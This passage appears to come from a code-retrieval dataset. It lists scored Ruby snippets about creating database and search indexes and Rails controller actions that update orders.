deleted hook and includes just once\n if sphinx_indexes.length == 1\n\n after_destroy :toggle_deleted\n\n include ThinkingSphinx::SearchMethods\n include ThinkingSphinx::ActiveRecord::AttributeUpdates\n include ThinkingSphinx::ActiveRecord::Scopes\n end\n\n index\n\n # We want to make sure that if the database doesn't exist, then Thinking\n # Sphinx doesn't mind when running non-TS tasks (like db:create, db:drop\n # and db:migrate). It's a bit hacky, but I can't think of a better way.\n rescue StandardError => err\n case err.class.name\n when \"Mysql::Error\", \"Java::JavaSql::SQLException\", \"ActiveRecord::StatementInvalid\"\n return\n else\n raise err\n end\n end", "title": "" }, { "docid": "7da527000035316d8637ab206a5c31ba", "score": "0.5441542", "text": "def add_index(table_name,column_name,options = {})\n # invalidate index cache\n self.all_schema_indexes = nil\n index_name = options[:name] || \"index_#{table_name}_on_#{column_name}\"\n if options[:spatial]\n execute \"CREATE INDEX #{index_name} ON #{table_name} (#{column_name}) INDEXTYPE IS mdsys.spatial_index\"\n else\n index_type = options[:unique] ? \"UNIQUE\" : \"\"\n #all together\n execute \"CREATE #{index_type} INDEX #{index_name} ON #{table_name} (#{Array(column_name).join(\", \")})\"\n end\n end", "title": "" }, { "docid": "af871e0c1440a278097faa57a9c8d3eb", "score": "0.5434589", "text": "def define_statement\n base_add_statement('index')\n end", "title": "" }, { "docid": "414fe462a71bbb69fda1790fd1b4d768", "score": "0.5428438", "text": "def local_secondary_indexes\n @table.local_secondary_indexes\n end", "title": "" }, { "docid": "86025f832121993426f6263c83f238ce", "score": "0.54261756", "text": "def add_index(table, *args)\n alter_table(table) {add_index(*args)}\n end", "title": "" }, { "docid": "19176f5e3818c7916f149ddb438b42c7", "score": "0.5419834", "text": "def create_index\n raise \"Facet #{facet_name} does not support indexing\"\n end", "title": "" }, { "docid": "0cba8433dbcb88f55d7302252e80cffe", "score": "0.5380639", "text": "def add_indexes\n if hereditary && !index_options[:_type]\n self.index_options[:_type] = {:unique => false, :background => true}\n end\n create_indexes if Mongoid.autocreate_indexes\n end", "title": "" }, { "docid": "0c5245fc6a5e2583aed11e7fb81abfbb", "score": "0.5374456", "text": "def create_index\n\t\t#TODO\n\tend", "title": "" }, { "docid": "f8baf201b474ba7c55bbd09b3fdd27c6", "score": "0.53741354", "text": "def create(*options)\n Statements::CreateIndex.new(context: self).add(options)\n end", "title": "" }, { "docid": "756e6550d02ef192e7f66aedbee76101", "score": "0.5368386", "text": "def require_index(name); end", "title": "" }, { "docid": "e808a4314fdc01c66be1ecf5e8af02d0", "score": "0.53668714", "text": "def add_indexes\n if hereditary? && !index_options[:_type]\n self.index_options[:_type] = {:unique => false, :background => true}\n end\n create_indexes if Mongoid.autocreate_indexes\n end", "title": "" }, { "docid": "fb9052e8711e61b58d58a3af3e7dd873", "score": "0.5363732", "text": "def require_index(name)\n require_data(*['indexes', name])\n end", "title": "" }, { "docid": "06b2130c96991420bd0dfa7a6898f420", "score": "0.5361579", "text": "def add(index, aka, options = {})\n actions << {:add => { :index => index, :alias => aka}.merge!(options)}\n end", "title": "" }, { "docid": "93b05c64cbef1c2a5c7d26a0fcb4b738", "score": "0.5361431", "text": "def create_indexes(facet)\n \"config.add_index_field solr_name('#{facet}', :stored_searchable, type: :string), :label => '#{facet.capitalize}'\\r\"\nend", "title": "" }, { "docid": "b2f47a8b771be54b32c4f390dff2b7a2", "score": "0.53397", "text": "def <<(term)\n raise \"No document defined\" unless defined? @document\n @index[term] ||= 0\n @index[term] |= @document\n end", "title": "" }, { "docid": "10de800b87e577e20cb9e362f627c6bc", "score": "0.53217655", "text": "def add_timeline_index(timeline_kind, index, options = { })\n index = index.is_a?(Array) ? index : [ index ]\n index_spec = index.map{ |field| [ field, 1 ] }\n\n self.add_index(self.timeline_collection(timeline_kind), index_spec, options)\n end", "title": "" }, { "docid": "3052c391a64385bddd2e53d836f01a0f", "score": "0.53210205", "text": "def add_index(table_name,column_name,options = {})\r\n index_name = options[:name] || \"#{table_name}_#{Array(column_name).first}_index\"\r\n \r\n if options[:spatial]\r\n if column_name.is_a?(Array) and column_name.length > 1\r\n #one by one or error : Should raise exception instead? ; use default name even if name passed as argument\r\n Array(column_name).each do |col|\r\n execute \"CREATE SPATIAL INDEX #{table_name}_#{col}_index ON #{table_name} (#{col})\"\r\n end\r\n else\r\n col = Array(column_name)[0]\r\n execute \"CREATE SPATIAL INDEX #{index_name} ON #{table_name} (#{col})\"\r\n end\r\n else\r\n index_type = options[:unique] ? \"UNIQUE\" : \"\"\r\n #all together\r\n execute \"CREATE #{index_type} INDEX #{index_name} ON #{table_name} (#{Array(column_name).join(\", \")})\"\r\n end\r\n end", "title": "" }, { "docid": "7c38f48ff9a57738ab64786d117d1596", "score": "0.53083694", "text": "def add_index(columns, index_name = nil)\n ddl(index_ddl(columns, false, index_name))\n end", "title": "" }, { "docid": "457b0b7b5eb99e23449a0db963b35757", "score": "0.5307688", "text": "def spatial_index name, options = {}\n self.spatial_fields_indexed << name\n index({name => '2d'}, options)\n end", "title": "" }, { "docid": "79129a5f6169a8b84e2d3f1808a4543d", "score": "0.5300423", "text": "def add_index(columns, opts = OPTS)\n @operations << {:op => :add_index, :columns => Array(columns)}.merge!(opts)\n nil\n end", "title": "" }, { "docid": "6b1c16079373e4b9e4dedc324047d17d", "score": "0.52993786", "text": "def add index\n index = index.index if index.is_a?(Document)\n unless @indices.include?(index)\n @indices << index\n @documents = nil\n end\n end", "title": "" }, { "docid": "8ac8f110d9087578126d03c870da3b7f", "score": "0.5290718", "text": "def ensure_index_exists\n #logger.debug \"LocalIndex: ensure_index_exists at #{index_definition[:index_dir]}\"\n unless File.file? \"#{index_definition[:index_dir]}/segments\"\n ActsAsFerret::ensure_directory(index_definition[:index_dir])\n rebuild_index \n end\n end", "title": "" }, { "docid": "4a9cc204fe1059e9fc31e1c0f53d944d", "score": "0.52877015", "text": "def add_indices; end", "title": "" }, { "docid": "83596af035935fd8b399015466e0e363", "score": "0.52867544", "text": "def add_index(columns, opts = {})\n @operations << {:op => :add_index, :columns => Array(columns)}.merge(opts)\n end", "title": "" }, { "docid": "5bdd3c95307ce96c3d5bd84d336a138b", "score": "0.52854353", "text": "def create_index(schema, opts = {})\n call(ft_create(schema, opts))\n end", "title": "" }, { "docid": "ce53b1fa00a35ee2481da55111305d1f", "score": "0.52733153", "text": "def create_index(field_or_spec, unique=false)\n @db.create_index(@name, field_or_spec, unique)\n end", "title": "" }, { "docid": "ce53b1fa00a35ee2481da55111305d1f", "score": "0.52733153", "text": "def create_index(field_or_spec, unique=false)\n @db.create_index(@name, field_or_spec, unique)\n end", "title": "" }, { "docid": "2a84c1b8b3d4b809974f591067108903", "score": "0.5254213", "text": "def require_index(name)\n require_data('indexes', name)\n end", "title": "" }, { "docid": "807a10a48cc9961d5f499eb0039b7714", "score": "0.5252849", "text": "def add_index(table_name, column_name, options = {})\n # In case the index is a composite one, the column_name argument is an\n # array of all the column names that constitute the index\n if column_name.is_a? (Array)\n suffix_name = column_name.join('_')\n column_list = column_name.join(', ')\n else\n suffix_name = column_name\n column_list = column_name\n end\n\n index_name = 'idx_' + \"#{table_name}\" + '_' + \"#{suffix_name}\"\n\n statement = 'CREATE'\n statement << ' UNIQUE ' if options[:unique]\n statement << ' INDEX ' + index_name[0..30] # cut out the index name in case it becomes too long\n statement << \" ON #{table_name}(#{column_list})\"\n execute statement\n end", "title": "" }, { "docid": "814cb329c9257187c6a8c1487654d6c4", "score": "0.52456766", "text": "def index_name=(_arg0); end", "title": "" }, { "docid": "da59917445f9f1257097b8fab40a6155", "score": "0.52348965", "text": "def indexify!( node:, indextype:, role: nil )\n if role == nil\n role = node.name\n end\n node.children.first.add_previous_sibling %Q{<indexterm type=\"#{indextype}\"><primary role=\"#{role}\">#{node.text}</primary></indexterm>}\n return node\nend", "title": "" }, { "docid": "647d941953a69a054ade38466aa92a3b", "score": "0.5227854", "text": "def global_secondary_indexes\n data[:global_secondary_indexes]\n end", "title": "" }, { "docid": "68bece0097a48ea633068677d9eff796", "score": "0.5215758", "text": "def create_index_full client, type, allowed_groups, used_groups\n index = Digest::MD5.hexdigest (type + \"-\" + allowed_groups.map { |g| g.to_json }.join(\"-\"))\n\n uri = store_index type, index, allowed_groups, used_groups\n\n index_definition = {\n index: index,\n uri: uri,\n allowed_groups: allowed_groups,\n used_groups: used_groups\n }\n\n # Although index may exist in Elasticsearch, it may have been lost in the \n # triplestore and the Indexes singleton. Add it, just to be sure.\n Indexes.instance.add_index type, allowed_groups, used_groups, index_definition\n\n if client.index_exists index\n log.info \"Index not created, already exists: #{index}\"\n return index_definition\n else\n mappings = settings.type_definitions[type][\"mappings\"]\n index_settings = settings.type_definitions[type][\"settings\"] || settings.default_index_settings\n\n unless mappings\n mappings = { \"properties\" => {} }\n end\n\n mappings[\"properties\"][\"uuid\"] = { type: \"keyword\" }\n\n begin\n client.create_index index, mappings, index_settings\n rescue StandardError => e\n log.warn \"Error (create_index): #{e.inspect}\"\n raise \"Error creating index: #{index}\"\n end\n\n index_definition\n end\nend", "title": "" }, { "docid": "5da9aa1ab92b3a159d0355ce34bc89c5", "score": "0.51998526", "text": "def index(name, definition)\n name, defn = coerce_index_name(name), coerce_index_definition(definition)\n _peek(:indexes)[name] = build_index(name, defn)\n rescue SByC::TypeSystem::CoercionError => ex\n invalid!(\"Invalid index definition (#{name}, #{definition.inspect}): #{ex.message}\")\n end", "title": "" }, { "docid": "75062af56229702930637b9bccb427fd", "score": "0.51695514", "text": "def with_index(new_index); end", "title": "" }, { "docid": "bcbf1c3f9129943884f409590f105354", "score": "0.5168545", "text": "def index_add(record)\n return if self.aai_config.disable_auto_indexing\n\n build_index\n index = new_index\n index.add_record(record)\n @query_cache = {}\n end", "title": "" }, { "docid": "ddcc30093fec6438486cfae7046e53b2", "score": "0.51510376", "text": "def setup_index_alias(new_index_name)\n\n existing_alias = Tire::index(index.name).aliases.\n find { |a| a.name == index.name }\n\n if existing_alias\n ali = existing_alias\n ali.indices.each { |index_name| ali.indices.delete(index_name) }\n else\n #note:\n # Never used the model name as the name of a real index, used alias only\n Tire::index(index.name).delete #delete the real index that has the name\n ali = Tire::Alias.new(name: index.name)\n end\n\n #clean up all indcies which has the model's name as alias\n ali.indices.add(new_index_name)\n ali.save\n end", "title": "" }, { "docid": "f2054565ef42b42f13a5e6fbe269b261", "score": "0.5149278", "text": "def create_indexes!\n Chewy::Stash::Journal.create if @options[:journal] && !Chewy.configuration[:skip_journal_creation_on_import]\n return if Chewy.configuration[:skip_index_creation_on_import]\n\n @index.create!(**@bulk_options.slice(:suffix)) unless @index.exists?\n end", "title": "" }, { "docid": "9cf1f10d707acd09b177f1185e841c9c", "score": "0.5141124", "text": "def do_local_indexing(solr_doc)\n solr_doc['dc_access_rights_tesi'] = object.dc_access_rights.collect { |x| x }\n end", "title": "" }, { "docid": "c853b331f54b6b56a2d8325d3c33190f", "score": "0.5136012", "text": "def add_term(idx, term, url)\n return unless term.is_a? String\n return unless url.is_a? String\n idx[term[0].downcase.to_sym] << [term, url]\n end", "title": "" }, { "docid": "8970fa06ed67a2679e10bb286830236e", "score": "0.51116836", "text": "def add_doc(doc)\n doc.each_pair do |k, v|\n @indexes[k] ||= []\n if v.is_a?(Array)\n v.each do |e|\n @indexes[k].push(IndexItem.new(e.to_s, doc))\n end\n else\n @indexes[k].push(IndexItem.new(v.to_s, doc))\n end\n end\n\n @docs.push(doc)\n end", "title": "" }, { "docid": "7330598ef0b1e4f2687129849f3b4401", "score": "0.5109415", "text": "def supports_indexes_in_create?; end", "title": "" }, { "docid": "ed4c920bde3330093b191ba554f45b59", "score": "0.5088893", "text": "def index( obj )\n solr.add( create_document( obj ) )\n solr.commit\n end", "title": "" }, { "docid": "d6b2ebb1b4ca724b0154bd5650d02d30", "score": "0.5058265", "text": "def add_index(table, column)\n execute <<-ADD_INDEX\nCREATE INDEX #{index_name(table, column)}\nON #{table}\nUSING gin(search_vector);\nADD_INDEX\n end", "title": "" }, { "docid": "05d33dafd87296f75e181ee90cda7cb0", "score": "0.50390124", "text": "def new_index\n @new_index\n end", "title": "" }, { "docid": "6ba7ab635d3a9d7f8a6d924ec3da9ae6", "score": "0.50379324", "text": "def create_needs_index?\n ENABLE_SOLR_UPDATES\n end", "title": "" }, { "docid": "c862352c7e4089ff1b1c569c1e9a75f8", "score": "0.5034924", "text": "def create_index client, type, allowed_groups, used_groups\n index = create_index_full client, type, allowed_groups, used_groups\n index[:index]\nend", "title": "" }, { "docid": "75fa9b42af827963f4d0022960a67dc5", "score": "0.50319624", "text": "def add_local_definition(identifier, type); end", "title": "" }, { "docid": "44ea37c61228d5bd19d5143bb05603b2", "score": "0.503011", "text": "def create_index_instance\n rebuild_index unless File.file? \"#{class_index_dir}/segments\"\n Ferret::Index::Index.new(ferret_configuration)\n end", "title": "" }, { "docid": "44ea37c61228d5bd19d5143bb05603b2", "score": "0.503011", "text": "def create_index_instance\n rebuild_index unless File.file? \"#{class_index_dir}/segments\"\n Ferret::Index::Index.new(ferret_configuration)\n end", "title": "" }, { "docid": "b0e516322c9a476e6c95e47802947401", "score": "0.5024079", "text": "def local_secondary_indexed?\n @table.local_secondary_indexes.is_a?(Array)\n end", "title": "" }, { "docid": "c331facbebb342c321b331a0d8c21c22", "score": "0.5019365", "text": "def update_index(params = {softCommit: true})\n solr_doc = to_solr()\n ::ActiveFedora::SolrService.add(solr_doc, params)\n [solr_doc].concat index_proxies(params)\n end", "title": "" }, { "docid": "6629e7bdc74042434cd3e795d882668e", "score": "0.5014367", "text": "def create_index(db_name, ddl_sql, drds_instance_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateIndex'\n\t\targs[:query]['DbName'] = db_name\n\t\targs[:query]['DdlSql'] = ddl_sql\n\t\targs[:query]['DrdsInstanceId'] = drds_instance_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tself.run(args)\n\tend", "title": "" }, { "docid": "e9c74268e55cc02bac565c2ce9550ded", "score": "0.49950853", "text": "def indexes(fieldname, options = {})\n add_field Source::Field.new(fieldname, options)\n end", "title": "" }, { "docid": "f68a091d21a6ee56956a3a2f4ec94583", "score": "0.49930236", "text": "def create(body, params = {})\n response = client.put \"/{index}\", update_params(params, body: body, action: \"index.create\", rest_api: \"indices.create\")\n response.body\n end", "title": "" }, { "docid": "413fd3397d9045b9676d9779af82200d", "score": "0.49909365", "text": "def indexe_definitions\n \n end", "title": "" }, { "docid": "ac26d38091c235a83a9a0b61c4bb9d71", "score": "0.49899563", "text": "def index_add(record)\n build_index if !File.exists?(File.join(aai_config[:index_file]))\n index = SearchIndex.new(aai_config[:index_file], aai_config[:index_file_depth], aai_config[:fields], aai_config[:min_word_size])\n index.add_record(record)\n index.save\n @query_cache = {}\n true\n end", "title": "" }, { "docid": "b23d6d9134eb211bb5656719fe54f7de", "score": "0.49845693", "text": "def add_to_search_index\n Search::Indexer.index(self)\n end", "title": "" }, { "docid": "ad63527f3c339d0c38fcc566ce5eb856", "score": "0.49842402", "text": "def add_index(table_name, column_name, options = {})\n if ActiveRecord::VERSION::STRING >= '6.1'\n index_definition, = add_index_options(table_name, column_name, **options)\n execute <<-SQL.squish\n ALTER TABLE #{quote_table_name(index_definition.table)}\n ADD #{schema_creation.accept(index_definition)}\n SQL\n else\n index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, **options)\n execute <<-SQL.squish\n ALTER TABLE #{quote_table_name(table_name)}\n ADD #{index_type} INDEX\n #{quote_column_name(index_name)} (#{index_columns})#{index_options}\n SQL\n end\n end", "title": "" }, { "docid": "4e93d3498c60fd278f76dd1d401c15df", "score": "0.49825153", "text": "def simple_index\n end", "title": "" }, { "docid": "1eb51dbf8e408584a4f814d1ad742b6b", "score": "0.4975774", "text": "def create_search_indexes(facet)\n \"config.add_search_field('#{facet}') do |field| \\r\n \\t#{facet}_field = Solrizer.solr_name('#{facet}', :stored_searchable) \\r\n \\tfield.solr_local_parameters = { \\r\n \\t\\tqf: #{facet}_field, \\r\n \\t\\tpf: #{facet}_field \\r\n \\t} \\r\n end \\n\\r\"\nend", "title": "" }, { "docid": "ea909f3cf1d6bb567466618a23af50c6", "score": "0.4971094", "text": "def global_secondary_indexes\n @table.global_secondary_indexes\n end", "title": "" }, { "docid": "17b39218fb3791695e46added55db0d5", "score": "0.49628425", "text": "def add_index(cookbook, page_numbers=true)\n template = cookbook.template\n\n # Build the Index template page\n index_template = PDFBook::Section.new( \n page_number: page_numbers,\n must_be_left: PDFBook::Section.new(page_number: true)\n )\n\n # Add the title\n index_template.add_text \"Index\",\n font_style: PdfCookbook.fpdf_font_style(template.headers_font_style),\n font_size: template.headers_font_size.to_i,\n line_height: HC_LINE_HEIGHT,\n gap: HC_GAP,\n font: template.book_font\n\n # Configure the document index system\n @document.index_options(\n template: index_template,\n start_at: 3,\n position: PdfCookbook.fpdf_y(60+HC_GAP)\n )\n\n @document << :index\n end", "title": "" }, { "docid": "52b968e61c0235fc00ea7adc5aa1d898", "score": "0.49592522", "text": "def indexable_with(indice_name, type)\n\n end", "title": "" }, { "docid": "171e0de0812fc89853afba1cb2e0fcfe", "score": "0.49575", "text": "def add_hstore_index(table_name, column_name, options = {})\n index_name, index_type, index_columns = add_index_options(table_name, column_name, options)\n index_type = index_type.present? ? index_type : 'gist'\n execute \"CREATE INDEX #{index_name} ON #{table_name} USING #{index_type}(#{column_name})\"\n end", "title": "" }, { "docid": "803f3dec066b6ccd55f047abc1c0d99d", "score": "0.49565005", "text": "def create_index(name)\n idx_cfg = self.indices[name]\n adapter.create_index(*idx_cfg)\n end", "title": "" }, { "docid": "d3fd328d8711a8023ca536254bd3fa2d", "score": "0.49530488", "text": "def add_full_text_index(columns, opts = {})\n add_index(columns, {:type=>:full_text}.merge(opts))\n end", "title": "" }, { "docid": "3892ad24904ef73cf7e4bf492eae53af", "score": "0.49483946", "text": "def test_named_new_index_exists?\n Person.connection.create_table :testings do |t|\n t.column :foo, :string, :limit => 100\n end\n Person.connection.add_index :testings, :foo, :name => \"custom_index_name\"\n\n assert Person.connection.new_index_exists?(:testings, :foo, :name => \"custom_index_name\")\n ensure\n Person.connection.drop_table :testings rescue nil\n end", "title": "" }, { "docid": "6d3344772859b2eea5e1db801429c5b4", "score": "0.49463445", "text": "def create_index(spec, opts={})\n @collection.create_index(spec, opts)\n end", "title": "" }, { "docid": "7b128c477423e57807f042f2d23470ee", "score": "0.4936007", "text": "def add_index(column_family_name, column_name, options = {})\n index_args = {column_name: column_name}\n index_args[:name] = options[:name] if options.key?(:name)\n\n keyspace[column_family_name].create_index(index_args)\n end", "title": "" }, { "docid": "f16a0567d176397581ec484f5808183f", "score": "0.49307284", "text": "def create_indexed_constraint(terms_indexed, op, const_rhs, name, tags)\n terms_indexed.default=0\n constr = IndexedConstraint.new(self, terms_indexed, op, const_rhs, name, tags)\n return nil if constr.tautology?\n raise InconsistentConstraintException.new(\"Inconsistent constraint #{name}: #{constr}\") if constr.inconsistent?\n constr\n end", "title": "" }, { "docid": "761aa367951950ffa92a9ba71175cf5f", "score": "0.49254495", "text": "def load_index; end", "title": "" }, { "docid": "f21b59c3b37cc45468250972b75777a3", "score": "0.49128973", "text": "def create_index(model)\n return if model.index_specifications.empty?\n#\n if !model.embedded? || model.cyclic?\n @logger.info(\"DRGCMS: Creating indexes on #{model}:\")\n model.create_indexes\n model.index_specifications.each do |spec|\n @logger.info(\"DRGCMS: Index: #{spec.key}, Options: #{spec.options}\")\n end\n model\n else\n @logger.info(\"DRGCMS: Index ignored on: #{model}, please define in the root model.\")\n nil\n end\nend", "title": "" }, { "docid": "951eefd1a1c0961114b95f79e2ee8128", "score": "0.49062344", "text": "def tag_add(tag_name, index1, index2 = None, *indices)\n execute_only(:tag, :add, tag_name, index1, index2, *indices)\n end", "title": "" }, { "docid": "af0d1ebf745f318672ea31d01a0eeba9", "score": "0.4903315", "text": "def add_index(table_name, column_name, options = {})\n column_names = Array(column_name)\n index_name = index_name(table_name, :column => column_names)\n\n if Hash === options # legacy support, since this param was a string\n index_type = options[:unique] ? \"UNIQUE\" : \"\"\n index_name = options[:name] || index_name\n index_method = options[:spatial] ? 'USING GIST' : \"\"\n else\n index_type = options\n end\n quoted_column_names = column_names.map { |e| quote_column_name(e) }.join(\", \")\n execute \"SELECT CreateSpatialIndex(#{quote_table_name(table_name)}, #{quoted_column_names})\"\n end", "title": "" }, { "docid": "ce297c011de8f83c041afcb46296bbdc", "score": "0.49006397", "text": "def index options = {}, &block\n name = options[:name]\n dictionary = options[:dictionary]\n search_name = ['search', name].compact.join('_')\n index_name = [table_name, name, 'fts_idx'].compact.join('_')\n this_index = FullTextIndex.new(index_name, dictionary, self, &block)\n\n (self.full_text_indexes ||= []) << this_index\n\n scope_lambda = lambda { |term, *options|\n # Let's extract the individual terms to allow for quoted and wildcard terms.\n term = term.scan(/\"([^\"]+)\"|(\\S+)/).flatten.compact.map do |lex|\n [' ', ':', '(', ')', '|'].each do |jinx|\n lex.gsub!(\"#{jinx}\", \"\\\\#{jinx}\")\n lex.gsub!('&', '*')\n end\n lex =~ /(.+)\\*\\s*$/ ? \"#{$1}:*\" : lex\n end.join(' & ')\n\n order = (options.first == :no_order ? nil : 'rank DESC')\n\n {\n :select => \"#{table_name}.*, ts_rank_cd((#{this_index.to_s}),\n to_tsquery(#{connection.quote(dictionary)}, #{connection.quote(term)})) as rank\",\n :conditions =>\n [\"#{this_index.to_s} @@ to_tsquery(?,?)\", dictionary, term],\n :order => order\n }\n }\n\n create_named_scope search_name, scope_lambda\n end", "title": "" }, { "docid": "d925c7d3beb20e0c60cb0cae93a26e55", "score": "0.49005133", "text": "def create_table_source_index \n create_table_index TABLE_SOURCE_INDEX\n Logger.<<(__FILE__,\"INFO\",\"Created table source index for monitors ..\")\n end", "title": "" }, { "docid": "9dc31517864f78144e4cd4b3bb744b96", "score": "0.489611", "text": "def add_index(options = {})\n options[:fields] ||= []\n\n reflect_on_all_associations.each do |my_assoc|\n next unless my_assoc.macro == :belongs_to\n\n options[:fields] << my_assoc.primary_key_name.to_s\n\n has_many_klass = my_assoc.class_name.constantize\n\n has_many_klass.reflect_on_all_associations.each do |opp_assoc|\n next if opp_assoc.class_name != name or\n opp_assoc.macro != :has_many or\n opp_assoc.options[:conditions]\n\n extends = Array(opp_assoc.options[:extend])\n extends << Sphincter::AssociationSearcher\n opp_assoc.options[:extend] = extends\n end\n end\n\n options[:fields].uniq!\n\n Sphincter::Search.indexes[self] << options\n end", "title": "" }, { "docid": "2a96d57d5bb2c933e2fa12c82bab840e", "score": "0.48928934", "text": "def add_full_text_index(columns, opts = OPTS)\n add_index(columns, {:type=>:full_text}.merge!(opts))\n end", "title": "" }, { "docid": "5d62b2981eea730c52db4f759dbbeba9", "score": "0.48902646", "text": "def update_in_index\n remove_from_index\n add_to_index\n end", "title": "" } ]
aef80ae7ed9e852890b5e23aedd1c4e5
PATCH/PUT /orders/1 PATCH/PUT /orders/1.json
[ { "docid": "f0fc78bd0057e91b1ccff1b5c4b7f51a", "score": "0.0", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "5475e478e362598519f05ab929db4ab8", "score": "0.7210738", "text": "def update\n @order = Order.find(params[:id])\n @order.update_attributes(order_params)\n render :json => @order\n end", "title": "" }, { "docid": "66c979dede895693d89bd15161614588", "score": "0.70324993", "text": "def update\n json_response(@order.update!(order_params))\n end", "title": "" }, { "docid": "6290c18503ca81316f27ea2a85f84d48", "score": "0.70209736", "text": "def update\n if @order.update(order_params)\n render json: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f9088780403317aa7654f9a3f5c116fd", "score": "0.6960549", "text": "def update\n if @order.update(order_params)\n render json: OrderSerializer.new(@order)\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "519d82ff0cc17b379e65743016975bf4", "score": "0.6941212", "text": "def customer_update(order)\n HTTParty.put(\"http://localhost:8081/customers/order\", :body => order)\n end", "title": "" }, { "docid": "b402bed1e2dc6c7ca5d370dd88881c01", "score": "0.6898369", "text": "def update\n if @order.update(update_order_params)\n render json: @order, status: :ok, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "25444c20abe48d03f78eb00127aaa58b", "score": "0.6879297", "text": "def update\n @order = Order.find(params[:id])\n \n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "c536d1a83c8cee7f618c6c22095cf4bb", "score": "0.6803119", "text": "def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3e1b3e954640a6788e3f6ee67caab7b7", "score": "0.68022954", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3c8caeaef449fdb4778ae1d08ee8789", "score": "0.67607266", "text": "def order_update(order)\n execute 'api/update',\n build_json({\n order: order\n })\n end", "title": "" }, { "docid": "28f6c3c1b32e147b59c1d789882134b5", "score": "0.6755115", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to customer_or_admin_orders_path, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20953b7bb2ec8b8f086aca75af7a1fcb", "score": "0.6749895", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8c5e72750ad9dd541773a380f17c6fd", "score": "0.6747956", "text": "def update\n begin\n if request.content_type == \"application/json\" # Validamos el formato\n if @order.update(order_params)\n render json: @order\n else\n render status: :bad_request\n end\n end\n rescue => exception\n # En caso de cualquier error que pueda ocurrir de formato u otro no capturado, devolveremos un status 400\n render status: :bad_request\n end\n \n end", "title": "" }, { "docid": "908f760e41bd02c898e21f918a7408ba", "score": "0.67440325", "text": "def update\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9ed07200875328403923e612e5d4a782", "score": "0.6722206", "text": "def update\n @order = Order.find(params[:id])\n Order\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61fc11d3ff4927e8c8ae75c68d47a342", "score": "0.67210424", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: \"Order ID: #{@order.uuid} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04b113583b260a4cdce67de0b99d308a", "score": "0.6719653", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, :notice => 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04b113583b260a4cdce67de0b99d308a", "score": "0.6719653", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, :notice => 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "633367075ffaa917a3735b88b23c2dde", "score": "0.67113286", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6705112", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if 